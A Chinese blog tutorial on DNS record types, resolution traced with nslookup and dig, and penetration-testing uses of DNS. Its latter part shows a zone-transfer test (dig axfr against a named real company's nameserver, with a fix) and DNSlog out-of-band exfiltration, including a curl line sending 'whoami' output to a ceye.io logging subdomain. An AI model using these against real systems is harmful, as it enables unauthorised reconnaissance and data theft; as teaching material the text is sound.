前言

DNS (Domain Name System, 域名系统 ),万维网上作为域名和IP地址相互映射的一个 分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过域名,最终得到该域名对应的IP地址的过程叫做域名解析(或主机名解析)。

基本概念

根域

就是所谓的“.”,其实我们的网址www.baidu.com在配置当中应该是www.baidu.com.(最后有一点),一般我们在浏览器里输入时会省略后面的点,而这也已经成为了习惯。

根域服务器我们知道有13台,但是这是错误的观点。

根域服务器只是具有13个IP地址,但机器数量却不是13台,因为这些IP地址借助了任播的技术,所以我们可以在全球设立这些IP的镜像站点,你访问到的这个IP并不是唯一的那台主机。具体的镜像分布可以参考维基百科。这些主机的内容都是一样的。

域的划分

根域下来就是顶级域或者叫一级域。

有两种划分方式,一种是互联网刚兴起时的按照行业性质划分的com.,net.等,一种是按国家划分的如cn.,jp.,等。每个域都会有域名服务器,也叫权威域名服务器。

Baidu.com就是一个顶级域名,而www.baidu.com却不是顶级域名,他是在baidu.com 这个域里的一叫做www的主机。

一级域之后还有二级域,三级域,只要我买了一个顶级域,并且我搭建了自己BIND服务器(或者其他软件搭建的)注册到互联网中,那么我就可以随意在前面多加几个域了(当然长度是有限制的)。

比如a.www.baidu.com,在这个网址中,www.baidu.com变成了一个二级域而不是一台主机,主机名是a。

域名服务器

能提供域名解析的服务器,上面的记录类型可以是A(address)记录,NS记录(name server),MX(mail),CNAME等。

接下来讲解具体的记录类型:

A记录(Address)

A 记录也称为主机记录,是使用最广泛的DNS记录,A记录的基本作用就是说明一个域名对应的IP是多少, 它是域名和IP地址的对应关系,表现形式为 www.baidu.com119.75.217.109 , 这就是一个A记录!A记录除了进行域名IP对应以外,还有一个高级用法,可以作为低成本的负载均衡的解决方案,比如说,www.baidu.com可以创建多个A记录,对应多台物理服务器的IP地址,可以实现基本的流量均衡!)。

比如说笔者这里设置的A记录:

理解DNS记录以及在渗透测试中的简单应用-编程知识网

NS 记录(Name Server)

NS 记录和SOA记录是任何一个DNS区域都不可或缺的两条记录,NS记录也叫名称服务器记录,用于说明这个区域有哪些DNS服务器负责解析,SOA记录说明负责解析的DNS服务器中哪一个是主服务器。因此,任何一个DNS区域都不可能缺少这两条记录。NS记录,说明了在这个区域里,有多少个服务器来承担解析的任务。

SOA 记录(Start ofAuthority)

NS 记录说明了有多台服务器在进行解析,但哪一个才是主服务器呢,NS并没有说明,这个就要看SOA记录了,SOA名叫起始授权机构记录,SOA记录说明了在众多NS记录里那一台才是主要的服务器。

MX 记录( Mail Exchanger )

全称是邮件交换记录,在使用邮件服务器的时候,MX记录是无可或缺的,比如A用户向B用户发送一封邮件,那么他需要向DNS查询B的MX记录,DNS在定位到了B的MX记录后反馈给A用户,然后A用户把邮件投递到B用户的MX记录服务器里。

CNAME 记录

别名记录。这种记录允许您将多个名字映射到另外一个域名。通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为“host.mydomain.com”(A记录)。它同时提供WWW和MAIL服务,为了便于用户访问服务。可以为该计算机设置两个别名(CNAME):WWW和MAIL。这两个别名的全称就http://www.mydomain.com/和“mail.mydomain.com”。实际上他们都指向“host.mydomain.com”。

SRV 记录

SRV 记录的作用是指明某域名下提供的服务。

例如:

http.tcp.example.com. SRV 10 5 80. www.example.com

SRV 后面项目的含义:

10 – 优先级,类似 MX 记录

5 – 权重

80 – 端口

www.example.com – 实际提供服务的主机名。

PTR 记录

PTR 记录也被称为指针记录, PTR 记录是 A 记录的逆向记录,作用是把 IP 地址解析为域名。由于我们在前面提到过, DNS 的反向区域负责从 IP 到域名的解析,因此如果要创建 PTR 记录,必须在反向区域中创建。

ip 反查域名: https://dns.aizhan.com/103.43.134.210/

解析过程

1. 现在我有一台计算机,通过ISP接入了互联网,那么ISP就会给我分配一个DNS服务器,这个DNS服务器不是权威服务器,而是相当于一个代理的dns解析服务器,他会帮你迭代权威服务器返回的应答,然后把最终查到IP返回给你。

2. 现在的我计算机要向这台ISPDNS发起请求查询www.baidu.com这个域名了,(经网友提醒:这里其实准确来说不是ISPDNS,而应该是用户自己电脑网络设置里的DNS,并不一定是ISPDNS。比如也有可能你手工设置了8.8.8.8)

3. ISPDNS拿到请求后,先检查一下自己的缓存中有没有这个地址,有的话就直接返回。这个时候拿到的ip地址,会被标记为非权威服务器的应答。

4. 如果缓存中没有的话,ISPDNS会从配置文件里面读取13个根域名服务器的地址(这些地址是不变的,直接在BIND的配置文件中)。

5. 然后像其中一台发起请求。

6. 根服务器拿到这个请求后,知道他是com.这个顶级域名下的,所以就会返回com域中的NS记录,一般来说是13台主机名和IP。

7. 然后ISPDNS向其中一台再次发起请求,com域的服务器发现你这请求是baidu.com这个域的,我一查发现了这个域的NS,那我就返回给你,你再去查。(目前百度有5台baidu.com的顶级域名服务器)。

8. ISPDNS不厌其烦的再次向baidu.com这个域的权威服务器发起请求,baidu.com收到之后,查了下有www的这台主机,就把这个IP返回给你了。

9. 然后ISPDNS拿到了之后,将其返回给了客户端,并且把这个保存在高速缓存中。

工具使用

nslookup

笔者目前使用的kali虚拟机,下载连接:https://www.kali.org/downloads/

理解DNS记录以及在渗透测试中的简单应用-编程知识网

理解DNS记录以及在渗透测试中的简单应用-编程知识网

第一行Server是: DNS服务器的主机名 –218.2.135.1

第二行Address是: 服务器的ip地址 –218.2.135.1#53

非全未应答(Non-authoritative answer):

Name是:解析的URL –www.lengbsikai.net

Address是:103.43.134.210

第二幅图百度的解析比较复杂一点:

多出一个CNAME记录:www.a.shifen.com

Dig

接着上面分析。

通过dig迭代追踪查看一下:

理解DNS记录以及在渗透测试中的简单应用-编程知识网

第一步是向我这台机器的ISPDNS(218.2.135.1)获取到根域服务区的13个IP和主机名[a-m].root-servers.net.。

理解DNS记录以及在渗透测试中的简单应用-编程知识网

第二步是向其中的一台根域服务器(Servername就是末行小括号里的ip:198.97.190.53#53(h.root-servers.net))发送www.baidu.com的查询请求,他返回了com.顶级域的服务器IP(未显示)和名称。

理解DNS记录以及在渗透测试中的简单应用-编程知识网

第三步,便向com.域的一台服务器192.54.112.30#53请求www.baidu.com,他返回了baidu.com域的服务器IP(未显示)和名称,百度有五台顶级域的服务器

【此处可以用dig @192.54.112.30 www.baidu.com查看返回的百度顶级域名服务器IP地址】。

理解DNS记录以及在渗透测试中的简单应用-编程知识网

理解DNS记录以及在渗透测试中的简单应用-编程知识网

(ps:这个时候是能看到拜读顶级服务器对应的ip地址的。)

第四步,向百度的顶级服务器(220.181.37.10)请求www.baidu.com,他发现这个www有个别名,而不是一台主机,别名是www.a.shifen.com。

理解DNS记录以及在渗透测试中的简单应用-编程知识网

看到上面的情况,问题就来了,按照一般的逻辑,当dns请求到别名的时候,查询会终止,而是重新发起查询别名的请求,所以此处应该返回的只是www.a.shifen.com。但是为什么返回a.shifen.com的这个域的NS呢?

同样用dig来追踪一下看看:

理解DNS记录以及在渗透测试中的简单应用-编程知识网

理解DNS记录以及在渗透测试中的简单应用-编程知识网

第三步的时候发现shifen.com这个顶级域名的域名服务器和baidu.com这个域的域名服务器是同一台主机。(dns.baidu.com)

漏洞利用

DNS域传送(DNS Zone Transfer )

DNS 服务器分为: 主服务器、备份服务器和缓存服务器。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。 在主备服务器之间同步数据库,需要使用 “DNS 域传送 ” 。

由于DNS协议 运行在 UDP 协议 之上,使用端口号53,所以可以使用一些特殊的搜索引擎来快速获取目标。

利用网络空间搜索引擎收集域名服务器:

Shodan(https://www.shodan.io)

理解DNS记录以及在渗透测试中的简单应用-编程知识网

Zoomeye(https://www.zoomeye.org)

理解DNS记录以及在渗透测试中的简单应用-编程知识网

fofa (https://fofa.so)

理解DNS记录以及在渗透测试中的简单应用-编程知识网

利用masscan搜集DNS服务器:

理解DNS记录以及在渗透测试中的简单应用-编程知识网

对ns.xml结果去重:

理解DNS记录以及在渗透测试中的简单应用-编程知识网

验证及修复

本文的验证漏洞都是通过zZone-Transfe(https://github.com/Xyntax/zZone-Transfer)脚本给出的。

nslookup

理解DNS记录以及在渗透测试中的简单应用-编程知识网

Namp

理解DNS记录以及在渗透测试中的简单应用-编程知识网

dig

dig @ns.lining.cn axfr li-ning.com

@ 指定域名服务器; axfr 为域传送指令; xxx.edu.cn 表示要查询的域名;

理解DNS记录以及在渗透测试中的简单应用-编程知识网

修复:

区域传送是DNS常用的功能,区域传送的漏洞也不是没有办法解决的,严格限制允许区域传送的主机即可,例如一个主 DNS 服务器应该只允许它的从 DNS 服务器执行区域传送的功能。

DNSlog注入

在测试一些网站的时候,一些注入类的漏洞都是没有任何回显信息的,这个时候我们很难判断自己的payload是否执行成功,这个时候可以借助dnslog。

简单的理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候可以通过这种方式把想获得的数据外带出来。

Dnslog基本原理

理解DNS记录以及在渗透测试中的简单应用-编程知识网

通过上面的学习,可以很清楚的明白对一个网站发起访问请求的时候,DNS的解析过程。

其中红色部分的服务器是可控的,只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显信息,放到自己域名的二级或者是三级域名上去请求,就可以通过DNS解析日志来获取它们。

Dnslog工具及利用

如果有自己的域名和服务器,可以自己搭建一个平台,开源项目源码:

https://github.com/BugScanTeam/DNSLog

另外就是已经搭建好的免费在线平台:

http://ceye.io

注册好后会给每个人一个身份标识,这是构造回显的关键。

(打码有点重,将就着看看。)

理解DNS记录以及在渗透测试中的简单应用-编程知识网

平台里面也提供了一些利用的payload:

理解DNS记录以及在渗透测试中的简单应用-编程知识网

先用自己的vps简单的演示一下:

比如:curl http://ip.port.b182oj.ceye.io/whoami

这个时候需要根据实际情况对payload进行替换,ip 、port、 Identifier 。

理解DNS记录以及在渗透测试中的简单应用-编程知识网

当然不止这种用法,比如SQL盲注,命令执行,SSRF。

具体参考以下链接:

https://www.cnblogs.com/afanti/p/8047530.html

https://www.anquanke.com/post/id/98096

参考链接

https://baike.baidu.com/item/dns/427444?fr=aladdin

http://www.cnblogs.com/liyuanhong/articles/7353974.html

https://blog.csdn.net/weixin_41545330/article/details/80865676

https://blog.csdn.net/c465869935/article/details/53444117

https://www.cnblogs.com/afanti/p/8047530.html

https://www.anquanke.com/post/id/98096

https://www.freebuf.com/column/184587.html

				<script>(function(){function setArticleH(btnReadmore,posi){var winH = $(window).height();var articleBox = $("div.article_content");var artH = articleBox.height();if(artH > winH*posi){articleBox.css({'height':winH*posi+'px','overflow':'hidden'})btnReadmore.click(function(){articleBox.removeAttr("style");$(this).parent().remove();})}else{btnReadmore.parent().remove();}}var btnReadmore = $("#btn-readmore");if(btnReadmore.length>0){if(currentUserName){setArticleH(btnReadmore,3);}else{setArticleH(btnReadmore,1.2);}}})()</script>